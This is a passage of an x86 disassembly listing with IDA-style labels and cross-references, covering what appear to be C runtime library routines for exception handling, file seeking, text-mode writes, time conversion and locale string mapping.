		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB358
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8F4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC948
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2670000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CDBC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCD8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCDC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCE0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC700
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB2A8, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2780000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2690DF2h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC600[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB2A8, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC700
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2690DF2h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2690DF2h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB2A8, 1Ch
		mov	dword_4DB2AC, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB37C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB37C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB37C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB37C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821136h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
